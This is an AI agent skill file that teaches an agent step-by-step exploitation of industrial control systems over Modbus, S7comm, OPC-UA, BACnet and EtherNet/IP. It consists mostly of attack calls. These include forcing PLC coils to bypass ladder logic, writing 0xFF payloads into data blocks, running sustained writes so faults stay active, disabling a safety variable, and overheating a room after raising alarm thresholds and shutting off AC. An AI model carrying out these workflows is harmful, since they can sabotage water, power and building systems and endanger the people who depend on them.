Awesome-omni-skill ics-exploitation
Exploit Industrial Control Systems using OPC-UA, S7comm, BACnet, Modbus, and EtherNet/IP protocols. Use for ICS, SCADA, PLC, building automation, HVAC, water systems, and industrial protocol security assessments.
git clone https://github.com/diegosouzapw/awesome-omni-skill
T=$(mktemp -d) && git clone --depth=1 https://github.com/diegosouzapw/awesome-omni-skill "$T" && mkdir -p ~/.claude/skills && cp -r "$T/skills/tools/ics-exploitation" ~/.claude/skills/diegosouzapw-awesome-omni-skill-ics-exploitation && rm -rf "$T"
skills/tools/ics-exploitation/SKILL.mdICS Exploitation Skill
This skill teaches how to use the ICS Exploitation MCP for industrial control system security assessment. Supports 5 industrial protocols: OPC-UA, S7comm, BACnet, Modbus, and EtherNet/IP.
Quick Start
Check Installation
# Via MCP tool ics_check_installation()
Modbus Attack (3 Steps)
# 1. Connect to Modbus CLI modbus_connect("192.168.1.1", 502) # 2. Get status and analyze coil map modbus_get_status() # 3. Write coils to control system (slave ID from system documentation) modbus_write_coil(address=9947, value=True, unit_id=82) # Enable manual mode modbus_write_coil(address=52, value=True, unit_id=82) # Force start output
EtherNet/IP Attack (3 Steps)
# 1. Connect to controller ethernetip_connect("192.168.1.1", 44818) # 2. Try reading a tag (if LogixDriver works) ethernetip_read_tag("Status") # 3. If tag read fails, read CIP Message Router object ethernetip_read_cip_object(class_id=0x02, instance=1) # Check decoded.utf16_le for data
OPC-UA Attack (3 Steps)
# 1. Discover security requirements opcua_enumerate_endpoints("opc.tcp://target:4840") # 2. Generate cert and connect (if encryption required) opcua_generate_cert("./certs") opcua_connect("opc.tcp://target:4840", "./certs/client_cert.pem", "./certs/client_key.pem", "Basic256Sha256", "SignAndEncrypt") # 3. Find and exploit writable variables opcua_find_writable() opcua_write("ns=2;i=38", "false", "Boolean")
S7comm Attack (3 Steps)
# 1. Connect (note: some systems use non-standard ports) s7_connect("192.168.1.1", rack=0, slot=0, port=36815) # 2. Enumerate and read s7_list_blocks() s7_db_read(db_number=1, offset=0, size=100) # 3. Write payload s7_db_write(db_number=1, offset=0, data="FF" * 128)
BACnet Attack (3 Steps)
# 1. Connect to building automation CLI bacnet_connect("192.168.1.1", 48103) # 2. Enumerate writable objects bacnet_list_objects() bacnet_find_writable() # 3. Write to multiple objects at once bacnet_write_multiple(writes=[ {"object_type": "analogOutput", "object_id": 21, "value": 100}, {"object_type": "analogOutput", "object_id": 22, "value": 100} ])
Workflow: OPC-UA Exploitation
Step 1: Enumerate Endpoints
Discover what security the server requires:
result = opcua_enumerate_endpoints("opc.tcp://target:4840") # Check: result['security_policies'] # Check: result['recommendation']
If "None" in policies: Server accepts unencrypted - connect directly If encryption required: Generate certificate first
Step 2: Generate Certificate (If Needed)
Exploit insecure trust lists with self-signed cert:
certs = opcua_generate_cert("./certs") # Returns: cert_path, key_path, thumbprint
Step 3: Connect
# Unencrypted opcua_connect("opc.tcp://target:4840") # Encrypted with self-signed cert opcua_connect("opc.tcp://target:4840", cert_path="./certs/client_cert.pem", key_path="./certs/client_key.pem", security_policy="Basic256Sha256", security_mode="SignAndEncrypt")
Step 4: Find Attack Surface
writable = opcua_find_writable() # Returns list of writable variables with node_id, path, value, data_type
Step 5: Exploit
# Write to disable safety system opcua_write("ns=2;i=38", "false", "Boolean") # Change setpoint opcua_write("ns=2;i=11", "0.0", "Double")
Step 6: Cleanup
opcua_disconnect()
Workflow: S7comm Exploitation
Step 1: Connect to PLC
# Standard port s7_connect("192.168.1.1", rack=0, slot=0, port=102) # Non-standard port s7_connect("192.168.1.1", rack=0, slot=0, port=36815)
Step 2: Enumerate
# Get CPU info s7_get_cpu_info() # List all blocks s7_list_blocks() # Returns: OB, FB, FC, DB counts and DB numbers
Step 3: Read Data
# Read 100 bytes from DB1 at offset 0 s7_db_read(db_number=1, offset=0, size=100) # Returns: data_hex, data_bytes, non_zero_bytes
Step 4: Write Payload
# Write hex string s7_db_write(db_number=1, offset=48, data="FF" * 8) # Generate pattern payload payload = s7_generate_payload("all_max", 128) s7_db_write(db_number=1, offset=0, data=payload['payload'])
Step 5: Sustained Attack (If Faults Reset)
Single offset attack:
# Continuously write to maintain fault condition s7_sustained_attack( db_number=1, offset=0, data="FF" * 128, duration_seconds=60, interval_ms=200, status_url="http://target:8080/status" # Optional: polls for success )
Multi-offset attack (for 3+ simultaneous faults):
# Write to multiple offsets simultaneously s7_sustained_attack_multi( db_number=1, writes=[ {"offset": 0, "data": "FFFFFFFF"}, {"offset": 32, "data": "00FF"}, {"offset": 48, "data": "00FF"}, {"offset": 64, "data": "FFFFFFFF"} ], duration_seconds=60, interval_ms=200, status_url="http://target:8080/status" )
Type-aware writes (proper signed/unsigned handling):
# Use s7_db_write_typed for correct encoding s7_db_write_typed(db_number=1, offset=32, value=255, data_type="UINT") s7_db_write_typed(db_number=1, offset=48, value=100.5, data_type="REAL")
Step 6: Monitor Status
s7_monitor_status( status_url="http://target:8080/status", duration_seconds=30 )
Workflow: BACnet Building Automation Attack
BACnet is used for HVAC, lighting, access control, and fire detection. Common attack: overheat a room by manipulating thermostat while bypassing alarm systems.
Step 1: Connect to BACnet CLI
# Connect to menu-driven BACnet interface bacnet_connect("192.168.1.1", 48103)
Step 2: Enumerate Objects
# List all building automation objects objects = bacnet_list_objects() # Look for: thermostats (analogOutput), alarms (OHAP), doors (multiStateOutput)
Key object types:
| Type | Description | Access |
|---|---|---|
| analogInput | Sensors (temperature) | Read-only |
| analogOutput | Setpoints (thermostat, OHAP) | Read/Write |
| binaryInput | Status indicators | Read-only |
| binaryOutput | Switches (AC) | Read/Write |
| multiStateOutput | Multi-value (door locks) | Read/Write |
Step 3: Write to Multiple Objects
# Write to multiple objects at once bacnet_write_multiple(writes=[ {"object_type": "analogOutput", "object_id": 21, "value": 100}, {"object_type": "analogOutput", "object_id": 22, "value": 100} ])
Step 4: Prepare the Environment
# Write to door and AC controls bacnet_write(object_type="multiStateOutput", object_id=102, value=2) bacnet_write(object_type="binaryOutput", object_id=22, value=0)
Step 5: Sustained Write
# Continuously write to maintain state result = bacnet_sustained_write( object_type="analogOutput", object_id=21, value=100, duration_seconds=120, interval_seconds=2.0, status_url="http://target:8080/data" ) # Check status history print(result['status_history'])
Step 6: Cleanup
bacnet_disconnect()
Workflow: Modbus Exploitation
Modbus is used in water systems, power grids, and manufacturing. Common attack: manipulate PLC coils to control valves, pumps, and switches.
Step 1: Connect to Modbus CLI
# Connect to menu-driven Modbus interface modbus_connect("192.168.1.1", 502)
Step 2: Get System Status
# Retrieve current system state as JSON status = modbus_get_status() # Look for: auto_mode, manual_mode, in_valve, out_valve, status
Step 3: Analyze System Documentation
Review available documentation:
- interface_setup.png: Find PLC slave address and coil mappings
- PLC_Ladder_Logic.pdf: Understand control flow and mode switching
Key information to extract:
- Slave address (e.g., 82 decimal = 0x52 hex)
- Coil addresses (mode control, valves, force commands)
Step 4: Enable Manual Mode
# Switch from auto to manual mode to bypass sensor logic # Slave ID from system docs, address from coil map modbus_write_coil(address=9947, value=True, unit_id=82)
Step 5: Manipulate System
# Use force commands or direct coil writes modbus_write_coil(address=52, value=True, unit_id=82) # force_start_out modbus_write_coil(address=26, value=True, unit_id=82) # cutoff_in
Step 6: Verify Success
# Check status to confirm changes status = modbus_get_status() print(status['status'])
Step 7: Cleanup
modbus_disconnect()
Key Insight: Direct valve writes may not work due to ladder logic overrides. Use mode switching and force commands to bypass sensor-driven logic.
Workflow: EtherNet/IP Exploitation
EtherNet/IP uses CIP (Common Industrial Protocol) for Allen-Bradley/Rockwell controllers. Common attack: read tags or CIP objects to find sensitive data.
Step 1: Connect to Controller
# Connect to EtherNet/IP controller (default port 44818) ethernetip_connect("192.168.1.1", 44818) # The driver type returned indicates available features: # - LogixDriver: Full tag access (read/write by name) # - CIPDriver: Low-level CIP object access only
Step 2: Try Tag Reading (If LogixDriver)
# Attempt to read a tag directly result = ethernetip_read_tag("Status") # If error "LogixDriver required", proceed to Step 3
Step 3: Read CIP Objects
# Message Router (class 0x02) often contains hidden data result = ethernetip_read_cip_object(class_id=0x02, instance=1) # Check the decoded field for data print(result['decoded']) # Look for utf16_le, utf8, or ascii
Step 4: Enumerate CIP Objects
# Scan common CIP classes for accessible data objects = ethernetip_enumerate_objects() # Review results for decoded strings for obj in objects['results']: if obj['decoded']: print(f"Class {obj['class_id']}, Instance {obj['instance']}: {obj['decoded']}")
Step 5: Cleanup
ethernetip_disconnect()
Common CIP Classes:
| Class | Hex | Description |
|---|---|---|
| Identity | 0x01 | Device info (vendor, product) |
| Message Router | 0x02 | May contain sensitive data |
| Assembly | 0x04 | I/O assemblies |
| Connection Manager | 0x06 | Connection management |
| Symbol | 0xAC | Tag/symbol information |
Key Insight: Data is often UTF-16-LE encoded in Message Router objects. The
read_cip_object tool auto-decodes multiple encodings.
Workflow: Memory Mapping
When you don't know which memory offsets control what:
# 1. Connect s7_connect("target", 0, 0, port) # 2. Scan each byte and observe HMI changes s7_scan_db_effects( db_number=1, status_url="http://target:8080/status", start_offset=0, end_offset=128 ) # Returns: offset_map showing which bytes affect which equipment
Troubleshooting
| Problem | Solution |
|---|---|
| OPC-UA connection refused | Check port (default 4840), verify OPC-UA server |
| "Security policy mismatch" | Use to find supported policies |
| S7 "TCP : Unreachable peer" | Wrong IP or port, check for non-standard port |
| S7 "Address out of range" | Use to check block size |
| Faults auto-reset | Use or |
| Need 3+ simultaneous faults | Use with multiple offsets |
| Value wraps to negative | Use with correct data type (UINT, UDINT) |
| No success indicator | Monitor HMI with , check status API |
| BACnet "mission failed" | Raise OHAP thresholds BEFORE heating |
| BACnet thermostat resets | Use to override safety reset |
| BACnet alarm triggers | OHAP too low - raise to 200C first |
| BACnet connection timeout | Check port, ensure menu-driven CLI is available |
| Modbus "command sent" but no change | Check slave ID matches system docs (often not 1) |
| Modbus valve won't respond | Use mode control coils first, then force commands |
| Modbus wrong address format | Use decimal addresses, MCP converts to hex |
| EtherNet/IP "LogixDriver failed" | Use for low-level CIP access |
| EtherNet/IP tag doesn't exist | Tag may be in CIP object, try |
| EtherNet/IP raw data unreadable | Check field for utf16_le encoding |
| pycomm3 not installed | for EtherNet/IP support |
Additional Resources
- For complete tool reference, see commands.md
- For agent guidance, see rules.mdc